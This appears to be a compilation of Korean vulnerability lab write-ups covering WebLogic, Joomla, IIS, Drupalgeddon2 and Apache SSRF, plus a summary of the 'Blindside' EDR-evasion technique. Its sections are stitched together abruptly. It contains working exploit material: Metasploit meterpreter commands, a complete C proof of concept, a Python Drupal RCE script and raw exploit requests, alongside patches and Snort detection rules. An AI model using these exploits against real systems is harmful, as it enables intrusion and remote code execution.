- Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점
- 해당 취약점을 이용해 암호화폐 채굴프로그램을 실행하는 이슈가 있다고 함
① 영향받는 버전 - Oracle Weblogic Server 10.3.3.0 - Oracle Weblogic Server 10.3.6 0 - Oracle Weblogic Server 12.2.1.1 - Oracle Weblogic Server 12.2.1.2 - Oracle Weblogic Server 12.1.3.0
2.1 실습
- docker 빌드 및 실행
git clone https://github.com/vulhub/vulhub
cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d
- 공격자의 터미널 생성
- Exploit 수행
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.56.112:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 639
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
See Note 1607170.1, SSL Authentication Problem Using WebLogic 10.3.6 and 12.1.1 With JDK1.7.0_40 or Higher Fix for CVE-2017-5638 is not included in the WLS PSU patches. See Note 2255054.1, "Upgrade Apache Struts 2 to Version 2.3.32 for WebLogic Code Example"
# setDomainEnv.sh 파일을 설정하거나 본인이 알고있다면 다른 쉘스크립트를 수정해도 된다.
# $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$ vi setDomainEnv.sh
... (생략)
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${WLP_JAVA_PROPERTIES}"
export JAVA_PROPERTIES
JAVA_OPTIONS="${JAVA_OPTIONS} ${JAVA_PROPERTIES} -Dwlw.iterativeDev=${iterativeDevFlag} -Dwlw.testConsole=${testConsoleFlag} -Dwlw.logErrorsToConsole=${logErrorsToConsoleFlag}"
JAVA_OPTIONS="-Dweblogic.wsee.wstx.wsat.deployed=false ${JAVA_OPTIONS}"
export JAVA_OPTIONS
... (생략)
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$
3.2 네트워크 측면
- wls-wsat 컴포넌트틀 통한 요청을 탐지할 수 있는 정책 생성 및 적용
alert tcp any any -> any any (msg:"Oracle WebLogic WLS Security Component RCE (CVE-2017-10271)"; flow:established,from_client; content:"wls-wsat"; http_uri; nocase;)
- 엔드포인트 탐지 및 대응(EDR) 플랫폼을 무력화 시키는 새로운 공격 기법 발견 - 윈도 커널에서 사용자 요청을 처리하는 요소 중 하나인 NTDLL을 이용 - 공격에 성공하면 공격자들은 NTDLL에서부터 어떤 함수도 실행시킬 수 있게 되고, 이를 EDR은 탐지하지 못함 - 이를 "블라인드사이드(Blindside)"'라 부름
내용
① 블라인드사이드(Blindside) - 후크 되지 않은 프로세스를 하나 생성 ※ 후크(hook)는 한 개의 애플리케이션이 다른 애플리케이션을 모니터링 할 수 있도록 하는 것 - EDR은 어플리케이션의 이상 행위를 찾아내기 위해 '후킹'을 이용하며, 이에 크게 의존적 - 즉, 후크되지 않은 프로세스는 EDR에 영향을 받지 않는 프로세스
② 기존 방식과의 차이 - 후크의 생성을 차단하는 공격은 있지만, 이러한 공격 기법는 OS와 깊은 관련이 있음 - 블라인드사이드 기법은 OS 의존도가 높지 않으며, 하드웨어를 운영하는 방식으로 구현
③ 동작방식 - 하드웨어가 작동을 멈추는 지점(breakpoint)을 활용 - 기존 방법들은 프로세스의 가상화나 시스템 호출(syscall)을 주로 활용했지만 블라인드사이드는 여기에 더해 특정 디버깅 프로세스를 악용
결론
- 해당 기법은 공격자들이 활용하지 않은 새로운 기법임 - 이는, EDR 벤더사들이 공격자들보다 한 발 더 앞서갈 수 있는 기회 - 나아가, 보안 솔루션이 만능이 아니라는 것을 알게 해줌으로써, 사용자들의 보안 인식 제고에도 도움을 줄것
- 실질적으로 활용되기에 충분한 공격 기법이 보안 업계에서 먼저 발견된 것은 꽤나 좋은 일 - 미리 방어법을 연구하고 발전시킬 수 있기 때문이며, 취약하다는 것을 증명하는 것이 아닌 위험성을 줄이는데에 긍정적인 영향을 끼침
- 패치 코드는 2277, 2278 라인을 통해 사용자 입력값에 대한 길이 검증을 수행하는 것으로 판단됨
3.2 네트워크 측면
① 공개된 PoC를 통해 탐지 정책을 적용
- "?unix:"와 "|http"를 사용하는 것이 확인됨
- "3a", "7c"는 각각 ":", "|"와 대응됨
alert tcp any any -> any any (msg:"Apache HTTP Server SSRF (CVE-2021-40438)"; flow:established,from_client; urilen:>200; content:"GET"; http_method; content:"/?unix|3a|"; http_uri; nocase; fast_pattern; content:"|7c|http"; http_uri;)
- PHP로 작성된 오픈 소스 저작물 관리 시스템 - MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐
2. 취약점
- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점
- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨
영향받는 버전 - 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x - PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45
2.1 실습
- Joomla를 설치 하였으나, [사진 1] 에러가 발생
※ 구글링 조회 결과를 바탕으로 실습 보고서 작성
- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인
- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run
- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)
- CVE-2015-8562 모듈을 다운로드하여 실습 진행
- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole
msf6 > use exploit/multi/http/joomla_http_header_rce
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit
- 위 패킷을 와이어샤크로 확인해보면 다음과 같음
- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨
※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블
2.2 분석
- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장
- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌
- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장
- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음
- 데이터베이스에 저장하는 과정 중 직렬화를 수행
source > array("a" => 5, "b" => 6) serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;} session_encode() 함수 > a|i:5;b|i:6;
- MS IIS 5.0, 5.1, 6.0에서 원격의 사용자가 SERVER_NAME 변수를 스푸핑
- IIS 500-100.asp 오류 페이지를 통해 잠재적으로 중요한 ASP 코드가 노출되는 취약점
영향받는 버전 - IIS 5.0, 5.1, 6.0
영향받는 플랫폼 - MS Windows 2000 with SP4 - MS Windows XP Professional with SP2 - MS Windows 2003 with SP1
2.1 분석
- IIS 5.x 버전은 "SERVER_NAME" 서버변수가 "localhost" 경우 중요 정보를 표시하는 취약점을 가짐
- "SERVER_NAME" 변수가"localhost"일 때, ASP 페이지에 에러가 있는 경우 ASP의 오류코드가 브라우저를 통해 표시
- 원격의 공격자는 "SERVER_NAME" 변수를 "localhost"로 스푸핑하여 접근
- 해당 취약점은 IIS 서버의 request.servervariables("SERVER_NAME")에서 발생
- 사용자 요청을 받은 경우 "SERVER_NAME"은 웹 서버 자체 IP 주소(혹은 localhost_자기 자신을 뜻함)를 반환
- localhost는 인증된 사용자가 웹 서버 자체에서 검색하고 있다는 것을 어플리케이션이나 서비스에 증명하는데 사용됨
- IIS 5.x 500-100.asp 페이지는 서버 변수를 사용해 오류가 발생한 코드의 표시 여부를 결정하므로 공격에 주로 사용됨
- 이를 정리하면 다음과 같음
① IIS 5.x 버전에서 localhost는 서버에 접근 가능한 인증된 사용자를 의미 ② "SERVER_NAME" 서버변수가 "localhost"를 반환한다는 점을 악용 ③ 공격자는 HTTP 요청 메세지에 localhost를 섞어서 전송할 ④ request.servervariables("SERVER_NAME")에 의해인증된 사용자가 아님에도 인증된 사용자로 인식
2.2 PoC 분석
- HTTP 요청에 localhost을 삽입해 요청 전송
※ Host 헤더를 localhost로 변조하는것 또한 익스플로잇이 가능할것으로 판단됨.
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868
void main(int argc, char *argv[])
{
/*connect to a host throught a port*/
int Conecta(char *Host, short puerto);
//socket from the connection
int socket;
//to get the data received
char buf[LEN_BUF];
FILE *data;
printf("\n Proof of Concept");
printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
printf("\n----------------------------------------------------\n");
if(argc!=4)
{
printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
}
//conectamos
socket=Conecta(argv[1],(short)atoi(argv[2]));
if(socket==-1)
{
printf("\n[+] Error connecting to host\n");
return;
}printf("\n[+] Connected!\n");
if((data=fopen("received_data.txt","w"))==NULL)
{
printf("\n[+] Error saving received data\n");
WSACleanup();
return;
}
/*send the EVIL REQUEST*/
strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
send(socket,buf,strlen(buf),0);
//while we aren´t disconnected
do
{
buf[recv(socket,buf,LEN_BUF,0)]='\0';
fputs(buf,data);
}while(socket==Conectado);
WSACleanup();
fclose(data);
printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
return;
}
/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
struct hostent *Ip;
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
//miramos si está correcto, y así no rellenamos la estructura Winsock_In para nada
if(Winsock==INVALID_SOCKET)
{
/*salimos*/
WSACleanup();
return -1;
}
/*rellenamos la estructura*/
Ip=gethostbyname(Host);
Winsock_In.sin_port=htons(puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
/*salimos*/
WSACleanup();
return -1;
}
return Winsock;
}
3. 대응방안
① 해당 HTTP 요청을 탐지 가능한 정책 적용
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL WEB_SERVER WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"http|3a|//127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:2100139; rev:5;)
- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음
영향받는 버전 - Drupal 7.58 이전 버전 - Drupal 8.3.9 이전의 8.x - Drupal 8.4.6 이전의 8.5.x - Drupal 8.5.1 이전의 8.5.x
2.1 분석
- Drupal에서 Form API는 Renderable Arrays, 배열을 사용 - 랜더링 배열은 "#"로 시작하는 키-값 구조 - #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행 - #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨
2.1 실습
- 취약한 서버 실행
git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d
- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능
- 와이어샤크를 통해 확인해보면 다음과 같음
- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
2.2 PoC
- PoC를 통해 다음을 확인할 수 있음
① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id
② _drupal_ajax=1 // ajax 사용
③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
3. 대응방안
3.1 서버측면
- 패치 적용
버전
패치 버전
Drupal 7.x 버전대
7.58 버전
Drupal 8.3.x 버전대
8.3.9 버전
Drupal 8.4.x 버전대
8.4.6 버전
Drupal 8.5.x 버전대
8.5.1 버전
3.2 네트워크 측면
- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정
#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용 #pre_render : 렌더링하기 전에 렌더링 배열을 조작 #lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용 #post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가